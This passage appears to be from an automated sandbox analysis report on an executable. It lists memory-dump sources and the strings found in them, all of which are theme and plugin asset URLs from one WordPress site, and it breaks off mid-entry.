Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/yith-woocommerce-wishlist/assets/js/jquery.yith-wcwl.min.j
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock-child/css/child-theme-css.css?ver=1.0
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock-child/style-custom.css?ver=1.0
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock-child/style.css?ver=1.0
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/css/animate.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/css/bootstrap-theme.min.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/css/bootstrap.min.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/css/font-awesome.min.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/css/ionicons.min.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2627539836.0000000003490000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462757621.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2468766886.0000000003590000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/css/theme.css?ver=1729847861
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/fancybox/jquery.fancybox.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/fancybox/jquery.fancybox.pack.js?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 